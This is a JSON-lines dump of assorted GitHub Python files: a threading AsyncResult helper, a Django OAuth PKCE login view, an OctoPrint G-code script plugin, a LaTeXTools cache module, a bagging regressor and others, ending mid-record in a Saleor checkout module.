+{"seq_id":"32745034146","text":"import threading\n\nclass AsyncResult(object):\n    \"\"\"AsyncResult is a convenience class for async methods.\n\n    It is intended as an alternative to passing callbacks to async methods\n    to be notified when an async operation completes. Instead, async methods\n    can return this object which the caller can use to wait for a result\n    in a non-busy manner.\n    \"\"\"\n\n    class Timeout(Exception):\n        pass\n\n    def __init__(self):\n        self.event = threading.Event()\n        self.result = None\n        self.exception = None\n    \n    def ready(self):\n        return self.event.is_set()\n    \n    def get(self, block=True, timeout=None):\n        if not self.ready() and block:\n            self.event.wait(timeout)\n        \n        if not self.ready():\n            raise self.Timeout(\"Timeout: result not ready\")\n        \n        if self.exception is not None:\n            raise self.exception\n        else:\n            return self.result\n\n    def set(self, value=None):\n        self.result = value\n        self.event.set()\n\n    def set_exception(self, exception):\n        self.exception = exception\n        self.event.set()\n","repo_name":"techresidents/trpycore","sub_path":"trpycore/thread/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"5843395851","text":"#chap134\r\n\r\ndef remove_even_values(dictionary):\r\n    for key, value in dictionary.items():\r\n        if value % 2 == 0:\r\n            del dictionary[key]\r\n\r\n\r\nmy_dictionary = {\"a\":1, \"b\":2, \"c\":3, \"d\":4}\r\nremove_even_values(my_dictionary) # will throw an error\r\n\r\n# runtime error. dictionary changed size during running\r\n# deletion occurs in the for loop\r\n# mutate the dictionary\r\n# violates dictionary.items()\r\n# an example of risk of mutation\r\n\r\n\r\n","repo_name":"sophiexiaofeixue/python_oop","sub_path":"chap134.py","file_name":"chap134.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35504266591","text":"from .serializers import UserSerializer\nfrom django.contrib.auth import login\nfrom rest_framework.response import Response\nfrom rest_framework import status, permissions\nfrom users.models import User\nfrom rest_framework.decorators import permission_classes, api_view, authentication_classes\nfrom client import settings\nimport requests, random, string, base64, hashlib, jwt, hmac\n\n\nCLIENT_ID = settings.CLIENT_ID\nCLIENT_SECRET = settings.CLIENT_SECRET\nREDIRECT_URI = 'http://127.0.0.1:3000/login/'\n\n# Generate random alphanumeric string of random length up to 128 characters\nCODE_VERIFIER = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randint(43, 128)))\n# Encode in base64 with characters usable in urls\nCODE_VERIFIER = base64.urlsafe_b64encode(CODE_VERIFIER.encode('utf-8'))\n\n# Generate 256-bit hash of code verifier\nCODE_CHALLENGE = hashlib.sha256(CODE_VERIFIER).digest()\n# Encode in url-safe base64, changing bytes to string and remove '=' which has specific meaning in urls\nCODE_CHALLENGE = base64.urlsafe_b64encode(CODE_CHALLENGE).decode('utf-8').replace('=', '')\n\nAUTH_URL = \"http://127.0.0.1:8000/o/authorize/?response_type=code&code_challenge={}&code_challenge_method=S256&client_id={}&redirect_uri={}\".format(CODE_CHALLENGE, CLIENT_ID, REDIRECT_URI)\n\n\n@api_view([\"GET\"])\ndef authorize(request):\n    code = request.GET.get(\"code\")\n\n    if not code:\n        return Response(data={\"url\": AUTH_URL})\n    \n    else:\n        headers = {\n            \"Cache-Control\": \"no-cache\",\n            \"Content-Type\": \"application/x-www-form-urlencoded\"\n        }\n\n        data = {\n            \"client_id\": CLIENT_ID,\n            \"client_secret\": CLIENT_SECRET,\n            \"code\": code,\n            \"code_verifier\": CODE_VERIFIER,\n            \"redirect_uri\": REDIRECT_URI,\n            \"grant_type\": \"authorization_code\",\n        }\n\n        auth_request = requests.post(\n            \"http://127.0.0.1:8000/o/token/\",\n            headers=headers,\n            data=data\n        )\n\n        auth_request = auth_request.json()\n\n        user_data = {\n            \"access_token\": auth_request.get(\"access_token\"),\n            \"expires_in\": auth_request.get(\"expires_in\"),\n            \"token_type\": auth_request.get(\"token_type\"),\n            \"scope\": auth_request.get(\"scope\"),\n            \"refresh_token\": auth_request.get(\"refresh_token\"),\n        }\n\n        id_token = auth_request.get(\"id_token\")\n\n        decrypted_id_token = jwt.decode(\n            id_token,\n            key=CLIENT_SECRET,\n            algorithms=[\"HS256\"],\n            options={\"verify_signature\": False}\n        )\n\n        user_data[\"sub\"] = decrypted_id_token.get(\"sub\")\n        user_data[\"username\"] = decrypted_id_token.get(\"username\")\n        user_data[\"email\"] = decrypted_id_token.get(\"email\")\n        user_data[\"first_name\"] = decrypted_id_token.get(\"first_name\")\n        user_data[\"last_name\"] = decrypted_id_token.get(\"last_name\")\n\n        user = User.objects.filter(sub=user_data.get(\"sub\"))\n        localuser = User.objects.filter(username=user_data.get(\"username\"), sub=None)\n\n        # If user with matching foreign ID exists, update fields\n        if user.exists():\n            serializer = UserSerializer(user[0], data=user_data)\n        # If user exists locally and has not been assigned foreign ID\n        elif localuser.exists():\n            serializer = UserSerializer(localuser[0], data=user_data)\n        # Else create new user\n        else:\n            serializer = UserSerializer(data=user_data)\n\n        if serializer.is_valid():\n            serializer.save()\n\n        return Response(serializer.data)\n    ","repo_name":"Altagrave-Git/authclient","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13738406059","text":"#!/usr/bin/env python\nimport torch\nimport librosa\nfrom fairseq.models.wav2vec import Wav2VecModel\n\ncp = torch.load('../data/models/word2vec/wav2vec_large.pt', map_location=torch.device('cpu'))\nmodel = Wav2VecModel.build_model(cp['args'], task=None)\nmodel.load_state_dict(cp['model'])\nmodel.eval()\n\nwave_file_path = '../data/audio/go-forward-two-meters-and-then-stop.rate16k-mono.wav'\n# wav_input = librosa.load(wave_file_path)\nsignal, sr = librosa.load(wave_file_path)\ntensors = torch.from_numpy(signal)\nz = model.feature_extractor(tensors)\nc = model.feature_aggregator(z)\nprint('c:', c)\n","repo_name":"chrisspen/speech-to-text-test","sub_path":"src/test_word2vec.py","file_name":"test_word2vec.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"70040114294","text":"import octoprint.plugin\nfrom jinja2 import BaseLoader, Environment\n\nfrom .const import (\n    DEFAULT_SCRIPTS,\n    ON_CONNECT,\n    ON_CONNECT_OPTIONS,\n    TYPE,\n    TYPE_OPTIONS,\n    WHEN,\n    WHEN_OPTIONS,\n)\n\n\nclass GcodeScriptManagerPlugin(\n    octoprint.plugin.SettingsPlugin,\n    octoprint.plugin.AssetPlugin,\n    octoprint.plugin.TemplatePlugin,\n    octoprint.plugin.StartupPlugin,\n):\n    def __init__(self):\n        super().__init__()\n\n        defaults = self.get_settings_defaults()\n        self._scripts = defaults[\"scripts\"]\n        self._update_settings()\n\n    def _update_client_settings(self):\n        self._plugin_manager.send_plugin_message(\n            self._identifier,\n            {\n                \"settings\": {\n                    \"scripts\": self._scripts,\n                }\n            },\n        )\n\n    ##~~ SettingsPlugin mixin\n\n    def get_settings_defaults(self):\n        return {\n            \"consts\": {\n                \"onConnectOptions\": ON_CONNECT_OPTIONS,\n                \"typeOptions\": TYPE_OPTIONS,\n                \"whenOptions\": WHEN_OPTIONS\n            },\n            \"scripts\": DEFAULT_SCRIPTS,\n        }\n\n    def on_settings_save(self, data):\n        octoprint.plugin.SettingsPlugin.on_settings_save(self, data)\n        self.read_settings()\n\n    def read_settings(self):\n        self._scripts = self._settings.get([\"scripts\"])\n        self._update_settings()\n\n    def _update_settings(self):\n        self._enabled_script_types = set(sum(\n            [[ss[\"type\"] for ss in s[\"scripts\"]] for s in self._scripts],\n            start=[]\n        ))\n\n    def write_settings(self, notify=True):\n        self._settings.set([\"scripts\"], self._scripts)\n        self._settings.save()\n        if notify:\n            self._update_client_settings()\n\n    ##~~ AssetPlugin mixin\n\n    def get_assets(self):\n        return {\n            \"js\": [\"js/gcodescriptmanager.js\"],\n            \"css\": [\"css/gcodescriptmanager.css\"],\n            \"less\": [\"less/gcodescriptmanager.less\"],\n        }\n\n    ##~~ TemplatePlugin mixin\n\n    def get_template_configs(self):\n        return [\n            {\n                \"type\": \"settings\",\n                \"name\": \"GCODE Script Manager\",\n                \"template\": \"gcodescriptmanager_settings.jinja2\",\n                \"custom_bindings\": True,\n            },\n            {\n                \"type\": \"sidebar\",\n                \"name\": \"GCODE Scripts\",\n                \"template\": \"gcodescriptmanager_sidebar.jinja2\",\n                \"custom_bindings\": True,\n                \"icon\": \"fas fa-scroll\",\n            },\n        ]\n\n    ##~~ StartupPlugin mixin\n\n    def on_after_startup(self):\n        self.read_settings()\n        return super().on_after_startup()\n\n    ##~~ GcodeScript Hook\n\n    def gcode_script_hook(self, comm, script_type, script_name, *args, **kwargs):\n        if not script_type == \"gcode\":\n            return None\n        if script_name not in self._enabled_script_types:\n            return None\n\n        should_save = False\n        prefix, suffix = \"\", \"\"\n        context = {\n            \"printer_profile\": comm._printerProfileManager.get_current_or_default(),\n            \"last_position\": comm.last_position,\n            \"last_temperature\": comm.last_temperature.as_script_dict(),\n            \"last_fanspeed\": comm.last_fanspeed,\n        }\n\n        if script_name in (TYPE.AFTER_PRINT_PAUSED, TYPE.BEFORE_PRINT_RESUMED):\n            context.update(\n                {\n                    \"pause_position\": comm.pause_position,\n                    \"pause_temperature\": comm.pause_temperature.as_script_dict(),\n                    \"pause_fanspeed\": comm.pause_fanspeed,\n                }\n            )\n        elif script_name == TYPE.AFTER_PRINT_CANCELLED:\n            context.update(\n                {\n                    \"cancel_position\": comm.cancel_position,\n                    \"cancel_temperature\": comm.cancel_temperature.as_script_dict(),\n                    \"cancel_fanspeed\": comm.cancel_fanspeed,\n                }\n            )\n\n        loader = BaseLoader()\n        for script in self._scripts:\n            if not script[\"enabled\"]:\n                continue\n            for _script in script[\"scripts\"]:\n                if _script[\"type\"] == script_name:\n                    self._logger.info(\n                        \"Adding Gcode Script '%(name)s' on '%(type)s', '%(when)s'\",\n                        {\n                            \"name\": script[\"name\"],\n                            \"type\": _script[\"type\"],\n                            \"when\": _script[\"when\"],\n                        }\n                    )\n                    template = Environment(loader=loader).from_string(_script[\"script\"])\n                    rendered = template.render(**context)\n\n                    if _script[\"when\"] == WHEN.BEFORE_DEFAULT:\n                        prefix += \"\\n\" + rendered\n                    else:\n                        suffix += \"\\n\" + rendered\n\n                    if script[\"autoDisable\"]:\n                        script[\"enabled\"] = False\n                        should_save = True\n\n        if should_save:\n            self.write_settings()\n\n        return prefix, suffix, {}\n\n    ##~~ HandleConnect Hook\n\n    def handle_connect_hook(self, *args, **kwargs):\n        if any([e['onConnect'] != ON_CONNECT.UNCHANGED for e in self._scripts]):\n            for script in self._scripts:\n                if script[\"onConnect\"] == ON_CONNECT.ENABLED:\n                    self._logger.info(\n                        \"Enabling Script on Connect: '%(name)s'\",\n                        {\"name\": script[\"name\"]}\n                    )\n                    script[\"enabled\"] = True\n                elif script[\"onConnect\"] == ON_CONNECT.DISABLED:\n                    self._logger.info(\n                        \"Disabling Script on Connect: '%(name)s'\",\n                        {\"name\": script[\"name\"]}\n                    )\n                    script[\"enabled\"] = False\n            self.write_settings()\n\n    ##~~ Softwareupdate hook\n\n    def get_update_information(self):\n        return {\n            \"gcodescriptmanager\": {\n                \"displayName\": \"GCODE Script Manager\",\n                \"displayVersion\": self._plugin_version,\n                # version check: github repository\n                \"type\": \"github_release\",\n                \"user\": \"kforth\",\n                \"repo\": \"OctoPrint-GcodeScriptManager\",\n                \"current\": self._plugin_version,\n                # update method: pip\n                \"pip\": \"https://github.com/kforth/OctoPrint-GcodeScriptManager/archive/{target_version}.zip\",\n            }\n        }\n\n\n__plugin_name__ = \"GCODE Script Manager\"\n\n__plugin_pythoncompat__ = \">=3,<4\"  # Only Python 3\n\n\ndef __plugin_load__():\n    global __plugin_implementation__\n    __plugin_implementation__ = GcodeScriptManagerPlugin()\n\n    global __plugin_hooks__\n    __plugin_hooks__ = {\n        \"octoprint.plugin.softwareupdate.check_config\": __plugin_implementation__.get_update_information,\n        \"octoprint.comm.protocol.scripts\": __plugin_implementation__.gcode_script_hook,\n        \"octoprint.printer.handle_connect\": __plugin_implementation__.handle_connect_hook,\n    }\n","repo_name":"kForth/OctoPrint-GcodeScriptManager","sub_path":"octoprint_gcodescriptmanager/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38617597355","text":"\nimport os\nimport re\n\nimport cv2\nimport numpy as np\n\n\ndef read_calib(calib_path):\n  with open(calib_path) as f:\n      for line in f.readlines():\n          if line[:2] == \"P2\":\n              P2 = re.split(\" \", line.strip())\n              P2 = np.array(P2[-12:], np.float32)\n              P2 = P2.reshape((3, 4))\n          if line[:14] == \"Tr_velo_to_cam\" or line[:11] == \"Tr_velo_cam\":\n              vtc_mat = re.split(\" \", line.strip())\n              vtc_mat = np.array(vtc_mat[-12:], np.float32)\n              vtc_mat = vtc_mat.reshape((3, 4))\n              vtc_mat = np.concatenate([vtc_mat, [[0, 0, 0, 1]]])\n          if line[:7] == \"R0_rect\" or line[:6] == \"R_rect\":\n              R0 = re.split(\" \", line.strip())\n              R0 = np.array(R0[-9:], np.float32)\n              R0 = R0.reshape((3, 3))\n              R0 = np.concatenate([R0, [[0], [0], [0]]], -1)\n              R0 = np.concatenate([R0, [[0, 0, 0, 1]]])\n  vtc_mat = np.matmul(R0, vtc_mat)\n\n  return P2, vtc_mat\n\n\n\ndef convertformat_det_to_track(det,frame):\n  # print()\n  #lidar coor, dx,dy,dz,x,y,z,yaw,id\n  calib_path = os.path.join('/mnt/nas3/Data/kitti-processed/object_tracking/training/calib',str(frame).zfill(4)+\"txt\")\n  intrinsic, extrinsic = read_calib(calib_path)\n  ","repo_name":"ies0411/Swift3DMot","sub_path":"tools/tracking_modules/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73027149493","text":"import os\nimport re\nimport shutil\nimport hashlib\nimport time\ntry:\n    import cPickle as pickle\nexcept ImportError:\n    import pickle\n\nimport sublime\n\nif sublime.version() < '3000':\n    _ST3 = False\n    from latextools_utils import get_setting\nelse:\n    _ST3 = True\n    from . import get_setting\n    long = int\n\n# the folder, if the local cache is not hidden, i.e. folder in the same\n# folder as the tex root\nLOCAL_CACHE_FOLDER = \".st_lt_cache\"\n# folder to store all hidden local caches in the cache path\nHIDDEN_LOCAL_CACHE_FOLDER = \"local_cache\"\n# global cache folder for ST2, this folder will be created inside the User\n# folder to store the global and the local cache\nST2_GLOBAL_CACHE_FOLDER = \".lt_cache\"\n\n\nTIME_RE = re.compile(\n    r\"\\s*(?:(?P<day>\\d+)\\s*d(?:ays?)?)?\"\n    r\"\\s*(?:(?P<hour>\\d+)\\s*h(?:ours?)?)?\"\n    r\"\\s*(?:(?P<minute>\\d+)\\s*m(?:in(?:utes?)?)?)?\"\n    r\"\\s*(?:(?P<second>\\d+)\\s*s(?:ec(?:onds?)?)?)?\\s*\"\n)\n\n\nclass CacheMiss(Exception):\n    \"\"\"exception to indicate that the cache file is missing\"\"\"\n    pass\n\n\ndef hash_digest(text):\n    \"\"\"\n    Create the hash digest for a text. These digest can be used to\n    create a unique filename from the path to the root file.\n    The used has function is md5.\n\n    Arguments:\n    text -- the text for which the digest should be created\n    \"\"\"\n    text_encoded = text.encode(\"utf8\")\n    hash_result = hashlib.md5(text_encoded)\n    return hash_result.hexdigest()\n\n\ndef delete_local_cache(tex_root):\n    \"\"\"\n    Removes the local cache folder and the local cache files\n    \"\"\"\n    print(u\"Deleting local cache for '{0}'.\".format(repr(tex_root)))\n    local_cache_paths = [_hidden_local_cache_path(),\n                         _local_cache_path(tex_root)]\n    for cache_path in local_cache_paths:\n        if os.path.exists(cache_path):\n            print(u\"Delete local cache folder '{0}'\".format(repr(cache_path)))\n            shutil.rmtree(cache_path)\n\n\ndef invalidate_local_cache(cache_path):\n    \"\"\"\n    Invalidates the local cache by removing the cache folders\n    \"\"\"\n    if os.path.exists(cache_path):\n        print(u\"Invalidate local cache '{0}'.\".format(repr(cache_path)))\n        shutil.rmtree(cache_path)\n\n\ndef cache(tex_root, name, generate):\n    \"\"\"\n    Alias for cache_local:\n    Uses the local cache to retrieve the entry for the name.\n    If the entry is not available, it will be calculated via the\n    generate-function and cached using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root.\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to write the object\n    generate -- a function pointer/closure to create the cached object\n        for case it is not available in the cache,\n        must be compatible with pickle\n    \"\"\"\n    return cache_local(tex_root, name, generate)\n\n\ndef write(tex_root, name, obj):\n    \"\"\"\n    Alias for write_local:\n    Writes the object to the local cache using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to write the object\n    obj -- the object to write, must be compatible with pickle\n    \"\"\"\n    write_local(tex_root, name, obj)\n\n\ndef read(tex_root, name):\n    \"\"\"\n    Alias for read_local:\n    Reads the object from the local cache using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to read the object\n\n    Returns:\n    The object at the location with the name\n    \"\"\"\n    return read_local(tex_root, name)\n\n\ndef cache_local(tex_root, name, generate):\n    \"\"\"\n    Uses the local cache to retrieve the entry for the name.\n    If the entry is not available, it will be calculated via the\n    generate-function and cached using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root.\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to write the object\n    generate -- a function pointer/closure to create the cached object\n        for case it is not available in the cache,\n        must be compatible with pickle\n    \"\"\"\n    try:\n        result = read_local(tex_root, name)\n    except CacheMiss:\n        result = generate()\n        write_local(tex_root, name, result)\n    return result\n\n\ndef write_local(tex_root, name, obj):\n    \"\"\"\n    Writes the object to the local cache using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to write the object\n    obj -- the object to write, must be compatible with pickle\n    \"\"\"\n    cache_path = _local_cache_path(tex_root)\n    _write(cache_path, name, obj)\n    _create_cache_timestamp(cache_path)\n\n\ndef read_local(tex_root, name):\n    \"\"\"\n    Reads the object from the local cache using pickle.\n    The local cache is per tex document and the path will extracted\n    from the tex root\n\n    Arguments:\n    tex_root -- the root of the tex file (for the folder of the cache)\n    name -- the relative file name to read the object\n\n    Returns:\n    The object at the location with the name\n    \"\"\"\n    cache_path = _local_cache_path(tex_root)\n    _validate_life_span(cache_path)\n    return _read(cache_path, name)\n\n\ndef cache_global(name, generate):\n    \"\"\"\n    Uses the global sublime cache retrieve the entry for the name.\n    If the entry is not available, it will be calculated via the\n    generate-function and cached using pickle.\n\n    Arguments:\n    name -- the relative file name to write the object\n    generate -- a function pointer/closure to create the cached object\n        for case it is not available in the cache,\n        must be compatible with pickle\n    \"\"\"\n    try:\n        result = read_global(name)\n    except CacheMiss:\n        result = generate()\n        write_global(name, result)\n    return result\n\n\ndef write_global(name, obj):\n    \"\"\"\n    Writes the object to the global sublime cache path using pickle\n\n    Arguments:\n    name -- the relative file name to write the object\n    obj -- the object to write, must be compatible with pickle\n    \"\"\"\n    cache_path = _global_cache_path()\n    _write(cache_path, name, obj)\n\n\ndef read_global(name):\n    \"\"\"\n    Reads the object from the global sublime cache path using pickle\n\n    Arguments:\n    name -- the relative file name to read the object\n\n    Returns:\n    The object at the location with the name\n    \"\"\"\n    cache_path = _global_cache_path()\n    return _read(cache_path, name)\n\n\ndef _local_cache_path(tex_root):\n    hide_cache = get_setting(\"hide_local_cache\", True)\n\n    if not hide_cache:\n        root_folder = os.path.dirname(tex_root)\n        return os.path.join(root_folder, LOCAL_CACHE_FOLDER)\n    else:\n        cache_path = _hidden_local_cache_path()\n        # convert the root to plain string and hash it\n        root_hash = hash_digest(tex_root)\n        return os.path.join(cache_path, root_hash)\n\n\ndef _hidden_local_cache_path():\n    global_path = _global_cache_path()\n    return os.path.join(global_path, HIDDEN_LOCAL_CACHE_FOLDER)\n\n\ndef _global_cache_path():\n    # For ST3, put the cache files in cache dir\n    # and for ST2, put it in the user packages dir\n    if _ST3:\n        cache_path = os.path.join(sublime.cache_path(), \"LaTeXTools\")\n    else:\n        cache_path = os.path.join(sublime.packages_path(),\n                                  \"User\",\n                                  ST2_GLOBAL_CACHE_FOLDER)\n    return os.path.normpath(cache_path)\n\n\ndef _write(cache_path, name, obj):\n    if _ST3:\n        try:\n            os.makedirs(cache_path, exist_ok=True)\n        except FileExistsError:\n            pass\n    else:\n        if not os.path.isdir(cache_path):\n            os.makedirs(cache_path)\n\n    file_path = os.path.join(cache_path, name)\n    with open(file_path, \"wb\") as f:\n        pickle.dump(obj, f, protocol=-1)\n\n\ndef _read(cache_path, name):\n    file_path = os.path.join(cache_path, name)\n    if not os.path.exists(file_path):\n        raise CacheMiss()\n\n    with open(file_path, \"rb\") as f:\n        return pickle.load(f)\n\n\n_CACHE_TIMESTAMP_FILE = \"created_time_stamp\"\n\n\ndef _create_cache_timestamp(cache_path):\n    \"\"\"\n    Creates a life span with the current time (cache folder exist).\n    Does only create a timestamp if it does not already exists.\n    \"\"\"\n    access_path = os.path.join(cache_path, _CACHE_TIMESTAMP_FILE)\n    if not os.path.exists(access_path):\n        print(u\"Writing cache creation timestamp\")\n        created = long(time.time())\n        try:\n            with open(access_path, \"w\") as f:\n                f.write(str(created))\n        except Exception as e:\n            print(u\"Error occured writing cache creation timestamp\")\n            print(e)\n\n\ndef _validate_life_span(cache_path):\n    life_span = _read_life_span()\n    # if life span is none: only manual deletion\n    if life_span is None:\n        return\n\n    created = _read_cache_timestamp(cache_path)\n\n    current_time = long(time.time())\n    if created + life_span < current_time:\n        print(u\"Life span of local cache is over. Invalidate local cache.\")\n        invalidate_local_cache(cache_path)\n        raise CacheMiss(u\"Cache life span expired\")\n\n\ndef _read_cache_timestamp(cache_path):\n    access_path = os.path.join(cache_path, _CACHE_TIMESTAMP_FILE)\n    try:\n        with open(access_path, \"r\") as f:\n            created = long(f.read())\n    except:\n        print(u\"No creation timestamp for local cache\")\n        invalidate_local_cache(cache_path)\n        raise CacheMiss(u\"Life span timestamp missing\")\n    return created\n\n\ndef _read_life_span():\n    try:\n        life_span_string = get_setting(\"local_cache_life_span\")\n        if not life_span_string:\n            raise Exception(u\"No lifespan defined\")\n        if life_span_string == \"infinite\":\n            return None\n        life_span = _parse_life_span_string(life_span_string)\n    except:\n        life_span = 30 * 60  # default: 30 mins\n    return life_span\n\n\ndef _parse_life_span_string(life_span_string):\n    \"\"\"Parses a life span string, raises an exception if it cannot parse\"\"\"\n    try:\n        life_span = int(life_span_string)\n    except:\n        life_span = _convert_life_span_string(life_span_string)\n    if life_span <= 0:\n        raise Exception(\"Life span must be greater than 0\")\n    return life_span\n\n\ndef _convert_life_span_string(life_span_string):\n    \"\"\"Converts a TIME_RE compatible life span string,\n    raises an exception if it is not compatible\"\"\"\n    (d, h, m, s) = TIME_RE.match(life_span_string).groups()\n    # time conversions in seconds\n    times = [(s, 1), (m, 60), (h, 3600), (d, 86400)]\n    # sum the converted times\n    # if not specified (None) use 0\n    return sum(int(t[0] or 0) * t[1] for t in times)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/SublimeText_LaTeXTools/LaTeXTools-master/latextools_utils/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":11100,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"28005765246","text":"'''\nIterative_bagging\n'''\nimport argparse\nimport os.path as osp\nimport copy\n\nimport numpy as np\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import LinearSVC\nfrom pandas import DataFrame\nfrom collections import defaultdict\nfrom sklearn.metrics import mean_squared_error\nimport random\n\nfrom ..data import create\nfrom ..utils.utils import draw_line_chart, save_results\n\ndef get_RMSE(predicted, gt):\n  return np.sqrt(mean_squared_error(predicted,gt))\n  \n\ndef iterative_bagging(args):\n  epoch_num = args.epoch_num\n  predictor_num = args.predictor_num\n  x_train, x_test, y_train, y_test = create('concrete',args.data_dir) # initial x,y for train and test\n  x_train = np.array(x_train)\n  x_test = np.array(x_test)\n  y_train = np.array(y_train)\n  y_test = np.array(y_test)\n  train_num = np.shape(x_train)[0]\n  test_num = np.shape(x_test)[0]\n  train_residual = copy.deepcopy(y_train) # y_n^j, the residual to fit in j-th iteration\n  test_predict  = np.array([0]*test_num) # the predict result  after j-th iteration\n  log = []\n  for t in range(epoch_num):\n    # print(train_residual[0])\n    train_predict_dict = defaultdict(list)\n    for i in range(predictor_num):\n      tmpIds = []\n      id_get = {}\n      valid_id = []\n      for j in range(train_num):\n        tmpId = random.randint(0,train_num-1)\n        tmpIds.append(tmpId)\n        id_get[tmpId] = True\n      for j in range(train_num):\n        if j not in id_get:\n          valid_id.append(j) # samples that not included in tmp trainset\n      tmp_x_train = x_train[tmpIds]\n      tmp_train_residual = train_residual[tmpIds]\n      clf = DecisionTreeRegressor(max_depth=2)\n      clf.fit(tmp_x_train, tmp_train_residual)\n      train_predict = clf.predict(x_train)\n      for j in valid_id:\n        train_predict_dict[j].append(train_predict[j])\n      test_predict = test_predict + clf.predict(x_test)*(1.0/predictor_num) # update the predict for sample j in testSet\n    for i in train_predict_dict:\n      train_residual[i] -= np.mean(train_predict_dict[i]) # update the residual of sample i in trainSet\n    tRMSE  = get_RMSE(test_predict,y_test)\n    print('{}\\t{}'.format(t+1,tRMSE))\n    sum_square_residual = np.mean(train_residual*train_residual)   \n    if args.VIS:\n      log.append([t + 1, tRMSE])\n    if t==0:\n      min_sum_square_residual = sum_square_residual\n    else:\n      if sum_square_residual > 1.1*min_sum_square_residual:\n        break\n    if sum_square_residual < min_sum_square_residual:\n      min_sum_square_residual = sum_square_residual\n  if args.VIS:\n    draw_line_chart(DataFrame(log, columns=['the number of epochs', 'RMSE']), 'the number of epochs', 'RMSE',\n                    'iterative_bagging_concrete')\n  save_results(test_predict, osp.join(args.results_dir, 'iterative_bagging_concrete.txt'))\n\n\nif __name__ == '__main__':\n  parser = argparse.ArgumentParser()\n  parser.add_argument('--epoch_num', type=int, default=50)\n  parser.add_argument('--predictor_num', type=int, default=30)\n  parser.add_argument('--data_dir', type=str, default='/Users/gaojingyue/Desktop/bagging_boosting/data/concrete')\n  parser.add_argument('--results_dir', type=str, default='/Users/gaojingyue/Desktop/bagging_boosting/results')\n  parser.add_argument('--VIS', action='store_true',default=False)\n  iterative_bagging(parser.parse_args())","repo_name":"PkuDavidGuan/bagging_boosting","sub_path":"models/iterative_bagging.py","file_name":"iterative_bagging.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41014311950","text":"from dataclasses import dataclass\nfrom typing import TYPE_CHECKING, Iterable, List, Optional\n\nfrom django.utils.functional import SimpleLazyObject\n\nfrom ..discount import DiscountInfo, VoucherType\nfrom ..discount.utils import fetch_active_discounts\nfrom ..graphql.shipping.utils import (\n    annotate_active_shipping_methods,\n    annotate_shipping_methods_with_price,\n    convert_shipping_method_model_to_dataclass,\n)\nfrom ..shipping.models import ShippingMethodChannelListing\n\nif TYPE_CHECKING:\n    from ..account.models import Address, User\n    from ..channel.models import Channel\n    from ..discount.models import Voucher\n    from ..plugins.manager import PluginsManager\n    from ..product.models import (\n        Collection,\n        Product,\n        ProductType,\n        ProductVariant,\n        ProductVariantChannelListing,\n    )\n    from ..shipping.models import ShippingMethod\n    from .models import Checkout, CheckoutLine\n\n\n@dataclass\nclass CheckoutLineInfo:\n    line: \"CheckoutLine\"\n    variant: \"ProductVariant\"\n    channel_listing: \"ProductVariantChannelListing\"\n    product: \"Product\"\n    product_type: \"ProductType\"\n    collections: List[\"Collection\"]\n    voucher: Optional[\"Voucher\"] = None\n\n\n@dataclass\nclass CheckoutInfo:\n    checkout: \"Checkout\"\n    user: Optional[\"User\"]\n    channel: \"Channel\"\n    billing_address: Optional[\"Address\"]\n    shipping_address: Optional[\"Address\"]\n    shipping_method: Optional[\"ShippingMethod\"]\n    valid_shipping_methods: List[\"ShippingMethod\"]\n    shipping_method_channel_listings: Optional[ShippingMethodChannelListing]\n\n    def get_country(self) -> str:\n        address = self.shipping_address or self.billing_address\n        if address is None or not address.country:\n            return self.checkout.country.code\n        return address.country.code\n\n    def get_customer_email(self) -> str:\n        return self.user.email if self.user else self.checkout.email\n\n\ndef fetch_checkout_lines(checkout: \"Checkout\") -> Iterable[CheckoutLineInfo]:\n    \"\"\"Fetch checkout lines as CheckoutLineInfo objects.\"\"\"\n\n    from .utils import get_discounted_lines, get_voucher_for_checkout\n\n    lines = checkout.lines.prefetch_related(\n        \"variant__product__collections\",\n        \"variant__channel_listings__channel\",\n        \"variant__product__product_type\",\n    )\n    lines_info = []\n\n    for line in lines:\n        variant = line.variant\n        product = variant.product\n        product_type = product.product_type\n        collections = list(product.collections.all())\n\n        variant_channel_listing = None\n        for channel_listing in line.variant.channel_listings.all():\n            if channel_listing.channel_id == checkout.channel_id:\n                variant_channel_listing = channel_listing\n\n        # FIXME: Temporary solution to pass type checks. Figure out how to handle case\n        # when variant channel listing is not defined for a checkout line.\n        if not variant_channel_listing:\n            continue\n\n        lines_info.append(\n            CheckoutLineInfo(\n                